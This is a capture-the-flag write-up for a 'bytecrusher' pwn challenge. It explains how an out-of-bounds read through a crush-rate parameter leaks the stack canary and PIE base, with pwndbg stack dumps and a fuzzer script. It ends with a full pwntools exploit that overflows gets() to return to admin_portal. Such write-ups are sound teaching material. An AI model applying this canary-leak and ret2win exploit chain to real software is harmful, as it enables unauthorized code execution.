OOB Read, Canary & PIE Leak, Ret2Win
Haven't been playing pwn challenges in a while, decided to come back with some easy ones.
This is a classic Ret2Win pwn challenge where we have all the protections enabled
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
we can quickly observe the use of the dangerous gets() function in get_feedback(), which gives us a trivial buffer overflow vulnerability, however, with Canary and PIE enabled, we cannot simply overwrite the return address blindly.
This is where the crush_string function comes into play:
void crush_string(char *input, char *output, int rate, int output_max_len) {
if (rate < 1) rate = 1;
int out_idx = 0;
for (int i = 0; input[i] != '\0' && out_idx < output_max_len - 1; i += rate) {
output[out_idx++] = input[i];
}
output[out_idx] = '\0';
}
The user is prompted to enter an input string, a crush rate, and an output_max_len. The for loop iterates over the input string, incrementing the index i by the given rate.
The critical flaw here is that there are no bounds checks on the input buffer, if we provide a small string ("X") but a large rate (72), the loop's first iteration will safely read "X" at index 0, in the second iteration, the index jumps to 72, pulling whatever raw data is located far outside the input_buf directly from the stack
To ensure the loop doesn't prematurely terminate before completing its second iteration, we just need to provide an output_max_len of at least 3 (since out_idx < 3 - 1 evaluates to True when out_idx is 1).
This rate parameter grants us an OOB read, allowing us to read arbitrary data from the stack without any security checks, specifically we can leverage this vulnerability to retrieve the PIE and canary
We can leak any byte we want starting from the input buffer, like this :
def leak_byte(r, offset):
r.sendlineafter(b"Enter a string to crush:\n", b"A")
r.sendlineafter(b"Enter crush rate:\n", str(offset).encode())
r.sendlineafter(b"Enter output length:\n", b"3")
r.recvuntil(b"Crushed string:\n")
out = r.recvline()
if len(out) >= 3:
return out[1]
return 0
But how do we obtain the offset to leak these two values (PIE & Canary)?
first to understand the memory layout, we can retrieve the canary through pwndbg
pwndbg> canary
AT_RANDOM = 0x7fffffffcb09 # points to (not masked) global canary value
Canary = 0xd4fafef2fbf3bc00 (may be incorrect on != glibc)
Found valid canaries on the stacks:
00:0000│-188 0x7fffffffc538 ◂— 0xd4fafef2fbf3bc00
00:0000│-008 0x7fffffffc6b8 ◂— 0xd4fafef2fbf3bc00
00:0000│+0a8 0x7fffffffc768 ◂— 0xd4fafef2fbf3bc00
then we can also view the whole stack
pwndbg> telescope 15
00:0000│ rsp 0x7fffffffc660 ◂— 0x2000000002
01:0008│-058 0x7fffffffc668 ◂— 0xa00000000
02:0010│-050 0x7fffffffc670 ◂— 0xa41 /* 'A\n' */
03:0018│-048 0x7fffffffc678 —▸ 0x7ffff7e1b780 (_IO_2_1_stdout_) ◂— 0xfbad2887
04:0020│-040 0x7fffffffc680 —▸ 0x555555556198 ◂— 'We are happy to offer sixteen free trials of our premium service.'
05:0028│-038 0x7fffffffc688 —▸ 0x7ffff7c80faa (puts+346) ◂— cmp eax, -1
06:0030│-030 0x7fffffffc690 —▸ 0x7ffff7e10041 ◂— 0xc80e6001d00e4801
07:0038│-028 0x7fffffffc698 —▸ 0x7ffff7c816e5 (setvbuf+245) ◂— cmp rax, 1
08:0040│-020 0x7fffffffc6a0 ◂— 0x0
09:0048│-018 0x7fffffffc6a8 —▸ 0x7fffffffc6d0 ◂— 0x1
0a:0050│-010 0x7fffffffc6b0 —▸ 0x7fffffffc7e8 —▸ 0x7fffffffcb22'
0b:0058│-008 0x7fffffffc6b8 ◂— 0xd4fafef2fbf3bc00
0c:0060│ rbp 0x7fffffffc6c0 —▸ 0x7fffffffc6d0 ◂— 0x1
Here we can see that the canary is in position 0x0a starting from the stack pointer, but our arbitrary read starts from the input_buf variabile, which is in 0x02 position, now we can easily calculate the distance between the two by number of bytes
0x0a-0x02=0x08 distance through number of addresses, which we can convert to bytes 0x08*8 since this is a 64-bit executable, resulting in 72 bytes of offset
To double-check our math and find the exact offset dynamically, i wrote a custom fuzzer to leak the bytes and compare them against the real canary:
from pwn import *
import time
context.log_level = 'info'
context.terminal = ['tmux', 'splitw', '-h', '-F', '#{pane_pid}', '-P']
def main():
p = process('./bytecrusher_patched')
p.recvuntil(b"Enter a string to crush:\n")
# real canary gets prompted on the shell
gdb.attach(p, gdbscript="""
init-pwndbg
canary
continue
""")
# waiting for gdb to get the canary
time.sleep(2)
k = 71
offsets = range(1+k, 16+k)
for i, offset in enumerate(offsets):
if i > 0:
p.recvuntil(b"Enter a string to crush:\n")
p.sendline(b"X")
p.recvuntil(b"Enter crush rate:\n")
p.sendline(str(offset).encode())
p.recvuntil(b"Enter output length:\n")
p.sendline(b"3")
p.recvuntil(b"Crushed string:\n")
out = p.recvline()
if len(out) >= 3: # leaked byte is not a null byte
b = out[1]
print(f"Trial {i+1:02d}/16 | Offset {offset:03d}: {hex(b)}")
else: # leaked byte is a null byte
print(f"Trial {i+1:02d}/16 | Offset {offset:03d}: 0x00")
input("")
p.close()
we can use the same approach to leak the PIE
With both the Canary and PIE leaked, we can now craft a payload to exploit the buffer overflow vulnerability in get_feedback()
But first we have to understand how the memory layout looks like with the OOB read, to do so, again we retrieve the stack canary
pwndbg> canary
AT_RANDOM = 0x7ffc4a0b56c9 # points to (not masked) global canary value
Canary = 0xf69d667b7a1a6400 (may be incorrect on != glibc)
Found valid canaries on the stacks:
00:0000│-188 0x7ffc4a0b5108 ◂— 0xf69d667b7a1a6400
00:0000│-008 0x7ffc4a0b5288 ◂— 0xf69d667b7a1a6400
00:0000│+0a8 0x7ffc4a0b5338 ◂— 0xf69d667b7a1a6400
Now we try to find its position on the stack
pwndbg> telescope 15
00:0000│ rsp 0x7ffc4a0b5270 ◂— 0x0
01:0008│-018 0x7ffc4a0b5278 —▸ 0x7ffc4a0b52a0 ◂— 0x1
02:0010│-010 0x7ffc4a0b5280 —▸ 0x7ffc4a0b53b8 —▸ 0x7ffc4a0b5b5f
03:0018│-008 0x7ffc4a0b5288 ◂— 0xf69d667b7a1a6400
04:0020│ rbp 0x7ffc4a0b5290 —▸ 0x7ffc4a0b52a0 ◂— 0x1
05:0028│+008 0x7ffc4a0b5298 —▸ 0x646f7c90f5f6 (main+118) ◂— lea rax, [rip + 0xbe3]
06:0030│+010 0x7ffc4a0b52a0 ◂— 0x1
This is what the stack looks like a couple of instructions before the gets() function call, as we can see, the canary is at offset 0x03 from the stack pointer, which translates to 0x03 * 8 = 24 bytes
This means we need to provide 24 bytes of padding first, and then we can overwrite the canary, after that, we have 8 bytes of the saved rbp which we can just overwrite with junk data, since we don't need to restore the previous stack frame
And finally, we can overwrite the return address with the address of admin_portal(), which can be calculated using the recently leaked PIE base
We only have one minor issue due to stack-alignment, which we can solve by placing a ret gadget right before the overwritten return address
Overview of the payload :
payload = b"A" * 24 # padding
payload += p64(canary_val) # Canary
payload += b"B" * 8 # RBP
payload += p64(ret_gadget) # stack alignment
payload += p64(exe.sym['admin_portal']) # return address
Here is the final exploit :
from pwn import *
exe = ELF("bytecrusher_patched")
context.binary = exe
def conn():
if args.LOCAL:
r = process([exe.path])
gdb.attach(r, gdbscript="""
init-pwndbg
b* get_feedback
""")
else:
r = remote("bytecrusher.chals.dicec.tf", 1337)
return r
def leak_byte(r, offset):
r.sendlineafter(b"Enter a string to crush:\n", b"A")
r.sendlineafter(b"Enter crush rate:\n", str(offset).encode())
r.sendlineafter(b"Enter output length:\n", b"3")
r.recvuntil(b"Crushed string:\n")
out = r.recvline()
if len(out) >= 3:
return out[1]
return 0
def main():
r = conn()
canary = b"\x00"
for i in range(73, 80):
b = leak_byte(r, i)
canary += bytes([b])
canary_val = u64(canary)
log.success(f"Leaked Canary: {hex(canary_val)}")
pie_leak = b""
for i in range(88, 94):
b = leak_byte(r, i)
pie_leak += bytes([b])
pie_leak += b"\x00\x00"
return_addr = u64(pie_leak)
log.success(f"Leaked Return Address: {hex(return_addr)}")
for i in range(3):
r.sendlineafter(b"Enter a string to crush:\n", b"A")
r.sendlineafter(b"Enter crush rate:\n", b"1")
r.sendlineafter(b"Enter output length:\n", b"32")
exe.address = return_addr - 0x15ec
log.success(f"PIE Base: {hex(exe.address)}")
log.success(f"Admin Portal: {hex(exe.sym['admin_portal'])}")
ret_gadget = exe.address + 0x101a
payload = b"A" * 24
payload += p64(canary_val)
payload += b"B" * 8
payload += p64(ret_gadget)
payload += p64(exe.sym['admin_portal'])
r.sendlineafter(b"Enter some text:\n", payload)
flag = r.recvall()
print("Output from admin portal:")
print(flag.decode('utf-8', errors='ignore'))
if __name__ == "__main__":
main()